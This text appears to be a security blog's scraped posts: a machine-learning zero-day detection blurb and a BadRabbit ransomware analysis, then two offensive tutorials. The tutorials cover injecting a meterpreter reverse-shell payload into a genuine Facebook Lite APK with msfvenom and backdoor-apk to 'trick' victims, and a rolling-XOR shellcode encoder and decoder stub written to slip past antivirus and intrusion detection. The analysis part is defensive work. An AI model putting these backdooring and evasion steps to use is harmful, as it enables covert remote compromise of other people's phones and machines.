ZeroDay Detection with Machine Learning(ML) Blusapphire

Year2016 & 2017 has witnessed the rise in cyber attacks targeting various sectors like banking, industrial, etc. New variants and types (fileless/in-memory) of malware families are being surfacing each day (wannacry, Petya/NotPetya/Nyetya/Goldeneye, BadRabbit, etc) which a traditional antivirus engine couldn’t detect without a signature.

With advancement in today’s cybercrime, there’s being advancement in detection of such potential threats, which brings me to Machine Learning (ML). According to wiki, Machine Learning (ML) is a field of computer science that gives computers the ability to learn without being explicitly programmed. In other words, computer trained to learn and identify malicious threats on its own.

Blusapphire is being integrated with Machine Learning (ML) engine that is capable of detecting any potential threats the moment they enter the network, making it easy to detect such sophisticated threats.

Last week one of our sensors has collected a file, which was flagged malicious by our Machine Learning (ML) engine. Being a zero-day, at that point in time, it has not triggered any AV flags. This post is an overview of the analysis made by Blusapphire ML engine.


Analyzed samples:

MD5 Hash Description
9d55d1c81605209fc2b537e74af9c91c PUP

Analysis:

We observed that the file was being downloaded from url “.pigcherrytoky.download”

Machine learning (ML) engine has flagged the file malicious and the file is loaded with some Anti-Debug techniques, making it difficult for debugging.

Being a zero-day, it has not triggered any AV flags, but the code within was matched over 176 known trojan malwares samples.

Malware being multipartite, it has refused to execute in pieces.

Abuse use of APIs:

GetCommandLineA
InitializeCriticalSection
EnterCriticalSection
LeaveCriticalSection
DeleteCriticalSection
VirtualFree
VirtualAlloc
TlsDetValue

URL Found:

Right after few hours the same PUP has being flagged malicious by multiple AV’s.


BadRabbit Closer Look with BluSapphire

Since the outbreak of Petya/NotPetya which was surfaced in the month of June, again last week a new ransomware attack “aka BadRabbit” is making the headlines effecting machines in Ukraine, Russia, Turkey and Bulgaria.


Initial Attack Vector:

Unlike Petya/NotPetya that use SMB (Eternal Blue) as the initial vector, this variant uses drive-by-download type of attack to deliver the malware (BadRabbit) that spreads via malicious websites.

BadRabbit utilizes:

  1. Diskcryptor to encrypt the files with selected extensions
  2. SCmanager, schtasks and rundll32.exe to invoke other components
  3. For lateral movement, it scans the local networks for SMB shares and spread via SMB
  4. Mimikatz for credential harvesting on compromised machine

Analyzed samples:

MD5 Hash Description
fbbdc39af1139aebba4da004475e8839 Adobe_Flash_Update – Dropper
1d724f95c61f1055f0d02c2154bbccd3 infpub.dat – Main DLL
b4e6d97dafd9224ed9a547d52c26ce02 cscc.dat – Driver for Encryption
b14d8faf7f0cbcfad051cefe5f39645f dispci.exe – DiskCryptor Client

Behavioral analysis:

Once downloaded, the executable dropper pretending to an Adobe Flash Update convincing the victim to install it

Upon execution it drops the main module DLL “infpub.dat” in “C:\Windows” directory that is further initiated by rundll.exe with arguments.

C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15

Executes the command “schtasks /Delete /F /TN rhaegal” to delete any existing tasks with name “rhaegal”.

During the execution of main DLL “infpub.dat” other components (cscc.dat, dispci.exe) responsible for encrypting are being dropped.

To launch the newly dropped components of diskcryptor “dispci.exe” on the startup, a new task is scheduled with name “rhaegal”.

New service named “cscc” is created for DiskCryptor Driver “cscc.dat”.

ServiceName=cscc,DisplayName=Windows Client Side Caching DDriver, BinaryPathName=cscc.dat

Schedules a task named “drogon” to forcefully reboot the machine at 04:46hrs, it appears that a reboot is required to install the DiskCryptor drivers.

BadRabbit encrypts only selected file extension as below and display ransom note.

3ds, 7z, accdb, ai, asm, asp, aspx, avhd, back, bak, bmp, brw, c, cab, cc, cer, cfg, conf, cpp, crt, cs, ctl, cxx, dbf, der, dib, disk, djvu, doc, docx, dwg, eml, fdb, gz, h, hdd, hpp, hxx, iso, java, jfif, jpe, jpeg, jpg, js, kdbx, key, mail, mdb, msg, nrg, odc, odf, odg, odi, odm, odp, ods, odt, ora, ost, ova, ovf, p12, p7b, p7c, pdf, pem, pfx, php, pmf, png, ppt, pptx, ps1, pst, pvi, py, pyc, pyw, qcow, qcow2, rar, rb, rtf, scm, sln, sql, tar, tib, tif, tiff, vb, vbox, vbs, vcb, vdi, vfd, vhd, vhdx, vmc, vmdk, vmsd, vmtm, vmx, vsdx, vsv, work, xls, xlsx, xml, xvd, zip

Abuse use of APIs:

CloseHandle
CreateFileW
CreateProcessW
ExitProcess
GetCommandLineW
GetCurrentProcess
GetFileSize
GetModuleFileNameW
GetModuleHandleW
GetSystemDirectoryW
HeapAlloc
ReadFile
TerminateProcess
UnhandledExceptionFilter
WriteFile

URL Found:

http://rb.symcb.com/rb.crl0W
http://s.symcb.com/universal-root.crl0
http://ocsp.verisign.com0
https://www.verisign.com/rpa
https://www.verisign.com/rpa0
http://rb.symcb.com/rb.crt0
http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
https://d.symcb.com/cps0%
http://s.symcd.com06
http://crl.verisign.com/pca3-g5.crl04
http://ts-ocsp.ws.symantec.com0;
https://d.symcb.com/rpa0@
https://d.symcb.com/rpa0
https://www.verisign.com/cps0
https://d.symcb.com/rpa06
http://crl.thawte.com/ThawteTimestampingCA.crl0
http://s.symcd.com0
http://ocsp.thawte.com0
https://d.symcb.com/rpa0.
http://rb.symcd.com0&
http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
http://sf.symcb.com/sf.crt0
http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
http://logo.verisign.com/vslogo.gif04
http://sf.symcd.com0&
http://ts-aia.ws.symantec.com/tss-ca-g2.cer0<
http://sf.symcb.com/sf.crl0W
http://ts-ocsp.ws.symantec.com07

Lateral Movement:

To perform credential harvesting, it creates and loads mimikatz to a file with extension “.tmp” (xxxx.tmp) in “C:\Windows\” and initiates a new process from the temp file “495E.tmp” with pipe.

Noticed that the malware scans the local network for ports 139, 445 and spreads via SMB shares with credentials harvested using mimikatz.

Injecting Backdoor in Android Application (APK)

Lets assuming that we have created an APK with reverse shell payload and somehow installed it on victim’s phone, which upon execution would establish a direct connection to the victim’s phone.

Since the generated APK only contains the payload that doesn’t do anything when clicked and even the size would be in KB’s which looks very much suspicious and the victim would uninstall it immediately or doesn’t even install it.

In order to make the app look legit, we would inject our meterperter reverse shell payload in genuine android apps like facebook, adobe reader, whatsapp. This way the app appears to be legit which the victim installs and gets what he expected… we get the shell..:-)


Prerequisites:

  • In this article, we'd be using 64bit kali linux to build our backdoored APK. Before we start make sure below listed packages are being installed in the machine, if not execute below command from the terminal:
    apt-get install lib32stdc++6 lib32ncurses5 lib32z1
  • Apktool, this utility does come with kali linux if not check and update it. To install/update "apktool" following the instruction @ibotpeaches
    apktool -v    #Check apktool version

Ways to Inject an Android APK File

Ther are different ways to inject our backdoor into an APK, we'll be using below listed utilities to build our malicious APK allowing an attacker to compromise victim's phone remotely
  • MSFvenom
  • Backdoor-APK

Injecting Payload with msfveom

Assuming we already have a downloaded android apk, we use it as a template to inject our reverse shell. Below command would allow us to inject the backdoor into original apk, which upon execution connects back to the IP specified within the payload.

msfvenom --platform android -x facebook_lite.apk -p android/meterpreter/reverse_tcp LHOST=192.168.11.187 LPORT=4444 -o facebook_lite_bc.apk

Now that we have our APK ready with the injected reverse shell payload, all you have to do is send the file to the victim and trick him to install the app.

On the other hand keep the listener ready for the incoming connection using metasploit exploit/multi/handler. Once the victim installs and opens the app we would get a shell spawned.


Injecting Payload with “Backdoor-APK”

Another utility that can be used in backdooring an android app is “Backdoor-APK”. Behind the scene, this utility uses “msfvenom” and does the same by automating the process making it much easier to inject the payload into android APK and can be downloaded from github repository.

git clone https://github.com/dana-at-cp/backdoor-apk.git

Having the downloaded Original APK and Backdoor-APK in same folder, execute the below command in the terminal which will prompt you to select the payload and details of the connect back IP and Port.

./backdoor-apk.sh facebook_lite.apk

Once the required details are been provided, utility start injecting the reverse shell payload within the APK.

On the other hand start the listener for incoming connection using metasploit multi handler.

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 192.168.11.187
set lport 4444
exploit

As expected we would have our final backdoored APK ready in “backdoor-apk -> original -> dist” folder, which we send to the victim and trick him to install it.

Once the victim installs and opens the app we would receive a meterpreter session.

Conclusion

Its is highly recommended to not to download and install apps from unknown sources and never enable the option “install from unkown sources” under “Setting -> Security”. Install proper antivirus and make sure you never download or click url’s from unkown sources.


Custom Shellcode Encoder/Decoder (Rolling XOR)

Lets assume, you’re in middle of a penetration test and were trying to gain access to a machine with Anti-Virus installed. Unfortunatuly, on every attempt you made AV was able to identify and block you from excuting the payload making you drive crazy and frustrating…

Besides the fact that most of the well known encoders are been detected by modern AV and IDS products. In such scenario using of custom encoders would be handy.

In this article, I'd be creating a custom encoding scheme based on simple XOR Operations called Rolling XOR. this technique could be helful in evading Anti-Virus and Intrusion Detection Systems(IDS) where necessary.

What is Rolling XOR Encoding Scheme..?

This encoding scheme basically uses a radomly generated key and performs the XOR operation on the first byte in the given array and uses the result as the input(new XOR key) to perform XOR operation with the next consecutive byte and so on.

Rolling XOR Python Encoder

  1. Generates a random byte and use it as the base/key to perform the XOR operations.
  2. Places the generated XOR key as first byte in the new array “xorout_f1/f2”.
  3. Performs XOR between the first byte in array “xorout_f1/f2” and first byte in “code” variable and append result to new array “xorout_f1/f2”
  4. This basically takes the result of previous XOR operation as the input(byte) and performs XOR operation with the next byte and same happens with all other bytes.
  5. Continues the XOR operation till the last byte in “code” variable and final result will be saved in new array “xorout_f1/f2”.
#Author: Greycel

#Website: https://greycel.github.io

#!/usr/bin/python


import os
import sys
import random

code = ("\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24\x2C\x57\x68\x72\x6c\x64\x2e\x68\x6f\x20\x57\x6f\x68\x48\x65\x6c\x6c\x8B\xDC\x57\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x40\xFF\x54\x24\x40\x57\xFF\xD0")

xorout_f1 = []
xorout_f2 = []
rand_key = random.randint(1,255)
xorout_f1.append(rand_key)
xorout_f2.append(rand_key)
print "\n[*] Random XOR key used: " '0x%02x' %rand_key + " " + str(xorout_f1)

for i in range(0, len(code)):  
    j = ord(code[i]) ^ xorout_f1[i]
    k = ord(code[i]) ^ xorout_f2[i]
    xorout_f1.append(j)
    xorout_f2.append(k)
xorout_f1 = (",".join("0x%02x" %c for c in xorout_f1))
xorout_f2 = ("".join("\\x%02x" %c for c in xorout_f2))

print "==================================="
print "Total Length: " + str(len(xorout_f2)/4) + "bytes"
print "\n[*] Rolling Xor Output F1: \n%s "  %xorout_f1
print "\n[*] Rolling Xor Output F2: \n%s" %xorout_f2


Decoder Stub

Following is our decoder stub which helps us to decode the encoded shellcode. Here we will be using JMP-CALL-POP technique, to get to our encoded shellcode and thereafter we decode the shellcode back to original at runtime and execute it.

; Author:   Greycel
; Website:  https://greycel.github.io
; This decodes the encoded Rolling XOR scheme back to its original.
; To avoid NULL bytes, update the Counter instructions "MOV CL, len",
;  "DEC CL", "CMP CL,DL" as per the length of code variable .


global _start

section .text
_start:
        jmp call_code

decoder:                   ;Start of XOR Operation
        POP ESI            ;Pointer to Shellcode
        PUSH ESI           ;Save pointer for later use
        MOV EDI,ESI        ;Copy pointer address in EDI
        XOR ECX,ECX        ;Zeroout the registers ECX, EDX
        MOV EDX,ECX
        MOV CL,len         ;Setup counter (Total Length)
loop1:
        MOV AL,[ESI]       ;Take the first byte of shellcode
        MOV BL,[ESI+1]     ;Take the second byte of shellcode
        XOR AL,BL          ;Perform XOR and save result in AL
        MOV [EDI],AL       ;Replace the first bytes of EDI with the result
        INC ESI            ;Increment ESI and EDI
        INC EDI
        DEC CL                ;Decrement the Counter
        CMP CL,DL             ;Check for condition
        JNZ loop1             ;Jump to loop1 if condition has not met
        mov byte[ESI-1],0x90  ;Replace the last trail byte with NOP
        JMP code


call_code:
        call decoder
        code: db 0xaf,0x53,0x60,0xb2,0x00,0x30,0x54,0xab,0x99,0xc3,0x48,0x1a,0x16,0x9d,0xcf,0xdb,0x50,0x22,0x0a,0x39,0xf0

[.....]

        0xf4,0xf7,0x9f,0xcf,0xbd,0xd2,0xb1,0xd9,0x9c,0xe4,0x8d,0xf9,0xad,0x52,0x26,0x02,0x42,0xbd,0xe9,0xcd,0x8d,0xda,0x25,0xf5
        len:    equ $-code

Having the above decoder stub ready, with the help of “nasm” compile the assembly code and generate the corresponding object file. Then use the “Objdump” to extract the decoding stub along with encoded shellcode appended to it. For commands to compile and extract shellcode Check.


Executing the Shellcode on Windows

For POC purpose, I’ve used the encoded message box shellcode which would eventually gets decoded at runtime with our decoded stub and executes the Hello World Message Box Popup. Following is our actual decoder stub in debugger without the encoded shellcode

Encoded shellcode within debugger. As per the decoder stub instruction “POP ESI” will pop the address (0x00446028) of encoded shellcode into “ESI” register, which is where the encoded shellcode begins.

By the time the decoder stub completes its execution we will have our actual shellcode ready to be executed from address (0x00446028) which is the beginning of shellcode and continues to execute our payload popping the “Hello World” message box.